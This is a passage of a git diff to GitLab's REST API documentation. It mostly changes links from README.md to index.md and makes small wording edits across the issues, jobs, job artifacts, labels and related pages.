+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -1974,7 +1976,7 @@ POST /projects/:id/issues/:issue_iid/reset_spent_time
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -2003,7 +2005,7 @@ GET /projects/:id/issues/:issue_iid/time_stats
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -2034,7 +2036,7 @@ GET /projects/:id/issues/:issue_iid/related_merge_requests
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -2194,7 +2196,7 @@ GET /projects/:id/issues/:issue_iid/closed_by
| Attribute | Type | Required | Description |
| ----------- | ---------------| -------- | ---------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project issue |
```shell
@@ -2271,7 +2273,7 @@ GET /projects/:id/issues/:issue_iid/participants
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -2315,7 +2317,7 @@ GET /projects/:id/issues/:issue_iid/user_agent_detail
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -2347,7 +2349,7 @@ POST /projects/:id/issues/:issue_iid/metric_images
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
| `file` | file | yes | The image file to be uploaded |
| `url` | string | no | The URL to view more metric information |
@@ -2379,7 +2381,7 @@ GET /projects/:id/issues/:issue_iid/metric_images
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
```shell
@@ -2417,7 +2419,7 @@ DELETE /projects/:id/issues/:issue_iid/metric_images/:image_id
| Attribute | Type | Required | Description |
|-------------|---------|----------|--------------------------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `issue_iid` | integer | yes | The internal ID of a project's issue |
| `image_id` | integer | yes | The ID of the image |
diff --git a/doc/api/issues_statistics.md b/doc/api/issues_statistics.md
index de5f26141f5..a760424f6a2 100644
--- a/doc/api/issues_statistics.md
+++ b/doc/api/issues_statistics.md
@@ -4,9 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Issues Statistics API
+# Issues statistics API **(FREE)**
-Every API call to issues_statistics must be authenticated.
+Every API call to the [issues](../user/project/issues/index.md) statistics API must be authenticated.
If a user is not a member of a project and the project is private, a `GET`
request on that project results in a `404` status code.
@@ -90,7 +90,7 @@ GET /groups/:id/issues_statistics?confidential=true
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. |
| `iids[]` | integer array | no | Return only the issues having the given `iid` |
| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
@@ -146,7 +146,7 @@ GET /projects/:id/issues_statistics?confidential=true
| Attribute | Type | Required | Description |
| ------------------- | ---------------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `iids[]` | integer array | no | Return only the milestone having the given `iid` |
| `labels` | string | no | Comma-separated list of label names, issues must have all labels to be returned. `None` lists all issues with no labels. `Any` lists all issues with at least one label. |
| `milestone` | string | no | The milestone title. `None` lists all issues with no milestone. `Any` lists all issues that have an assigned milestone. |
diff --git a/doc/api/iterations.md b/doc/api/iterations.md
index be52ef0ea47..c39c397f27e 100644
--- a/doc/api/iterations.md
+++ b/doc/api/iterations.md
@@ -28,7 +28,7 @@ GET /projects/:id/iterations?search=version
| Attribute | Type | Required | Description |
| ------------------- | ------- | -------- | ----------- |
-| `state` | string | no | Return only `opened`, `upcoming`, `started`, `closed`, or `all` iterations. Defaults to `all`. |
+| `state` | string | no | 'Return `opened`, `upcoming`, `current (previously started)`, `closed`, or `all` iterations. Filtering by `started` state is deprecated starting with 14.1, please use `current` instead.' |
| `search` | string | no | Return only iterations with a title matching the provided string. |
| `include_ancestors` | boolean | no | Include iterations from parent group and its ancestors. Defaults to `true`. |
diff --git a/doc/api/job_artifacts.md b/doc/api/job_artifacts.md
index 54404559577..5e2312891ef 100644
--- a/doc/api/job_artifacts.md
+++ b/doc/api/job_artifacts.md
@@ -18,9 +18,9 @@ GET /projects/:id/jobs/:job_id/artifacts
| Attribute | Type | Required | Description |
|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/index.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request using the `PRIVATE-TOKEN` header:
@@ -28,7 +28,7 @@ Example request using the `PRIVATE-TOKEN` header:
curl --output artifacts.zip --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/42/artifacts"
```
-To use this in a [`script` definition](../ci/yaml/README.md#script) inside
+To use this in a [`script` definition](../ci/yaml/index.md#script) inside
`.gitlab-ci.yml` **(PREMIUM)**, you can use either:
- The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable.
@@ -70,7 +70,7 @@ is the same as [getting the job's artifacts](#get-job-artifacts), but by
defining the job's name instead of its ID.
NOTE:
-If a pipeline is [parent of other child pipelines](../ci/parent_child_pipelines.md), artifacts
+If a pipeline is [parent of other child pipelines](../ci/pipelines/parent_child_pipelines.md), artifacts
are searched in hierarchical order from parent to child. For example, if both parent and
child pipelines have a job with the same name, the artifact from the parent pipeline is returned.
@@ -82,10 +82,10 @@ Parameters
| Attribute | Type | Required | Description |
|-------------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `ref_name` | string | yes | Branch or tag name in repository. HEAD or SHA references are not supported. |
| `job` | string | yes | The name of the job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/index.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request using the `PRIVATE-TOKEN` header:
@@ -93,7 +93,7 @@ Example request using the `PRIVATE-TOKEN` header:
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/jobs/artifacts/main/download?job=test"
```
-To use this in a [`script` definition](../ci/yaml/README.md#script) inside
+To use this in a [`script` definition](../ci/yaml/index.md#script) inside
`.gitlab-ci.yml` **(PREMIUM)**, you can use either:
- The `JOB-TOKEN` header with the GitLab-provided `CI_JOB_TOKEN` variable.
@@ -143,10 +143,10 @@ Parameters
| Attribute | Type | Required | Description |
|-----------------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | The unique job identifier. |
| `artifact_path` | string | yes | Path to a file inside the artifacts archive. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/index.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request:
@@ -172,7 +172,7 @@ pipeline for the given reference name from inside the job's artifacts archive.
The file is extracted from the archive and streamed to the client.
In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/201784) and later, artifacts
-for [parent and child pipelines](../ci/parent_child_pipelines.md) are searched in hierarchical
+for [parent and child pipelines](../ci/pipelines/parent_child_pipelines.md) are searched in hierarchical
order from parent to child. For example, if both parent and child pipelines have a
job with the same name, the artifact from the parent pipeline is returned.
@@ -184,11 +184,11 @@ Parameters:
| Attribute | Type | Required | Description |
|-----------------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `ref_name` | string | yes | Branch or tag name in repository. `HEAD` or `SHA` references are not supported. |
| `artifact_path` | string | yes | Path to a file inside the artifacts archive. |
| `job` | string | yes | The name of the job. |
-| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/README.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
+| `job_token` **(PREMIUM)** | string | no | To be used with [triggers](../ci/triggers/index.md#when-a-pipeline-depends-on-the-artifacts-of-another-pipeline) for multi-project pipelines. It should be invoked only inside `.gitlab-ci.yml`. Its value is always `$CI_JOB_TOKEN`. |
Example request:
@@ -216,7 +216,7 @@ Parameters
| Attribute | Type | Required | Description |
|-----------|----------------|----------|--------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
Example request:
@@ -270,7 +270,7 @@ DELETE /projects/:id/jobs/:job_id/artifacts
| Attribute | Type | Required | Description |
|-----------|----------------|----------|-----------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
| `job_id` | integer | yes | ID of a job. |
Example request:
diff --git a/doc/api/jobs.md b/doc/api/jobs.md
index b92f2a72c03..42774b80b27 100644
--- a/doc/api/jobs.md
+++ b/doc/api/jobs.md
@@ -16,7 +16,7 @@ GET /projects/:id/jobs
| Attribute | Type | Required | Description |
|-----------|--------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. |
```shell
@@ -159,7 +159,7 @@ GET /projects/:id/pipelines/:pipeline_id/jobs
| Attribute | Type | Required | Description |
|-------------------|--------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `pipeline_id` | integer | yes | ID of a pipeline. Can also be obtained in CI jobs via the [predefined CI variable](../ci/variables/predefined_variables.md) `CI_PIPELINE_ID`. |
| `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. |
| `include_retried` | boolean | no | Include retried jobs in the response. Defaults to `false`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/272627) in GitLab 13.9. |
@@ -295,7 +295,7 @@ Example of response
```
In GitLab 13.3 and later, this endpoint [returns data for any pipeline](pipelines.md#single-pipeline-requests)
-including [child pipelines](../ci/parent_child_pipelines.md).
+including [child pipelines](../ci/pipelines/parent_child_pipelines.md).
In GitLab 13.5 and later, this endpoint does not return retried jobs in the response
by default. Additionally, jobs are sorted by ID in descending order (newest first).
@@ -314,7 +314,7 @@ GET /projects/:id/pipelines/:pipeline_id/bridges
| Attribute | Type | Required | Description |
|---------------|--------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `pipeline_id` | integer | yes | ID of a pipeline. |
| `scope` | string **or** array of strings | no | Scope of jobs to show. Either one of or an array of the following: `created`, `pending`, `running`, `failed`, `success`, `canceled`, `skipped`, or `manual`. All jobs are returned if `scope` is not provided. |
@@ -554,7 +554,7 @@ GET /projects/:id/jobs/:job_id
| Attribute | Type | Required | Description |
|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
```shell
@@ -631,7 +631,7 @@ GET /projects/:id/jobs/:job_id/trace
| Attribute | Type | Required | Description |
|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
```shell
@@ -655,7 +655,7 @@ POST /projects/:id/jobs/:job_id/cancel
| Attribute | Type | Required | Description |
|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
```shell
@@ -705,7 +705,7 @@ POST /projects/:id/jobs/:job_id/retry
| Attribute | Type | Required | Description |
|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
```shell
@@ -757,7 +757,7 @@ Parameters
| Attribute | Type | Required | Description |
|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
Example of request
@@ -810,7 +810,7 @@ POST /projects/:id/jobs/:job_id/play
| Attribute | Type | Required | Description |
|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------|
-| `id` | integer/string | yes | ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. |
+| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. |
| `job_id` | integer | yes | ID of a job. |
```shell
diff --git a/doc/api/labels.md b/doc/api/labels.md
index 5abab7a79c4..1606df03afb 100644
--- a/doc/api/labels.md
+++ b/doc/api/labels.md
@@ -4,7 +4,9 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Labels API
+# Labels API **(FREE)**
+
+Interact with [labels](../user/project/labels.md) using the REST API.
NOTE:
The `description_html` - was added to response JSON in [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21413).
@@ -13,7 +15,7 @@ The `description_html` - was added to response JSON in [GitLab 12.7](https://git
Get all labels for a given project.
-By default, this request returns 20 results at a time because the API results [are paginated](README.md#pagination).
+By default, this request returns 20 results at a time because the API results [are paginated](index.md#pagination).
```plaintext
GET /projects/:id/labels
@@ -21,7 +23,7 @@ GET /projects/:id/labels
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `with_counts` | boolean | no | Whether or not to include issue and merge request counts. Defaults to `false`. _([Introduced in GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31543))_ |
| `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. |
| `search` | string | no | Keyword to filter labels by. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/259024) in GitLab 13.6 |
@@ -117,7 +119,7 @@ GET /projects/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a project's label. |
| `include_ancestor_groups` | boolean | no | Include ancestor groups. Defaults to `true`. |
@@ -154,9 +156,9 @@ POST /projects/:id/labels
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the label |
-| `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
+| `color` | string | yes | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
| `description` | string | no | The description of the label |
| `priority` | integer | no | The priority of the label. Must be greater or equal than zero or `null` to remove the priority. |
@@ -193,7 +195,7 @@ DELETE /projects/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -214,10 +216,10 @@ PUT /projects/:id/labels/:label_id
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
| `new_name` | string | yes if `color` is not provided | The new name of the label |
-| `color` | string | yes if `new_name` is not provided | The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
+| `color` | string | yes if `new_name` is not provided | The color of the label given in 6-digit hex notation with leading '#' sign (for example, #FFAABB) or one of the [CSS color names](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords) |
| `description` | string | no | The new description of the label |
| `priority` | integer | no | The new priority of the label. Must be greater or equal than zero or `null` to remove the priority. |
@@ -263,7 +265,7 @@ PUT /projects/:id/labels/:label_id/promote
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a group's label. |
```shell
@@ -301,7 +303,7 @@ POST /projects/:id/labels/:label_id/subscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a project's label |
```shell
@@ -339,7 +341,7 @@ POST /projects/:id/labels/:label_id/unsubscribe
| Attribute | Type | Required | Description |
| ---------- | ----------------- | -------- | ------------------------------------ |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `label_id` | integer or string | yes | The ID or title of a project's label |
```shell
diff --git a/doc/api/lint.md b/doc/api/lint.md
index 57d11d15adc..a47bb028248 100644
--- a/doc/api/lint.md
+++ b/doc/api/lint.md
@@ -87,8 +87,8 @@ Example responses:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29568) in GitLab 13.5.
The CI lint returns an expanded version of the configuration. The expansion does not
-work for CI configuration added with [`include: local`](../ci/yaml/README.md#includelocal),
-or with [`extends:`](../ci/yaml/README.md#extends).
+work for CI configuration added with [`include: local`](../ci/yaml/index.md#includelocal),
+or with [`extends:`](../ci/yaml/index.md#extends).
Example contents of a `.gitlab-ci.yml` passed to the CI Lint API with
`include_merged_yaml` set as true:
diff --git a/doc/api/managed_licenses.md b/doc/api/managed_licenses.md
index 4be4f83b4ce..3967fe52a03 100644
--- a/doc/api/managed_licenses.md
+++ b/doc/api/managed_licenses.md
@@ -16,7 +16,7 @@ GET /projects/:id/managed_licenses
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/managed_licenses"
@@ -49,7 +49,7 @@ GET /projects/:id/managed_licenses/:managed_license_id
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project |
```shell
@@ -76,7 +76,7 @@ POST /projects/:id/managed_licenses
| Attribute | Type | Required | Description |
| ------------- | ------- | -------- | ---------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `name` | string | yes | The name of the managed license |
| `approval_status` | string | yes | The approval status. "approved" or "blacklisted" |
@@ -104,7 +104,7 @@ DELETE /projects/:id/managed_licenses/:managed_license_id
| Attribute | Type | Required | Description |
| --------- | ------- | -------- | --------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project |
```shell
@@ -123,7 +123,7 @@ PATCH /projects/:id/managed_licenses/:managed_license_id
| Attribute | Type | Required | Description |
| --------------- | ------- | --------------------------------- | ------------------------------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user |
| `managed_license_id` | integer/string | yes | The ID or URL-encoded name of the license belonging to the project |
| `approval_status` | string | yes | The approval status. "approved" or "blacklisted" |
diff --git a/doc/api/markdown.md b/doc/api/markdown.md
index 157714c2791..d83b7420829 100644
--- a/doc/api/markdown.md
+++ b/doc/api/markdown.md
@@ -14,14 +14,14 @@ Available only in APIv4.
## Render an arbitrary Markdown document
```plaintext
-POST /api/v4/markdown
+POST /markdown
```
| Attribute | Type | Required | Description |
| --------- | ------- | ------------- | ------------------------------------------ |
| `text` | string | yes | The Markdown text to render |
| `gfm` | boolean | no | Render text using GitLab Flavored Markdown. Default is `false` |
-| `project` | string | no | Use `project` as a context when creating references using GitLab Flavored Markdown. [Authentication](README.md#authentication) is required if a project is not public. |
+| `project` | string | no | Use `project` as a context when creating references using GitLab Flavored Markdown. [Authentication](index.md#authentication) is required if a project is not public. |
```shell
curl --header Content-Type:application/json --data '{"text":"Hello world! :tada:", "gfm":true, "project":"group_example/project_example"}' "https://gitlab.example.com/api/v4/markdown"
diff --git a/doc/api/members.md b/doc/api/members.md
index 627c9a12b5e..560fc8262c0 100644
--- a/doc/api/members.md
+++ b/doc/api/members.md
@@ -43,7 +43,7 @@ GET /projects/:id/members
| Attribute | Type | Required | Description |
| --------- | ---- | -------- | ----------- |
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project or group](index.md#namespaced-path-encoding) owned by the authenticated user |
| `query` | string | no | A query string to search for members |
| `user_ids` | array of integers | no | Filter the results on the given user IDs |
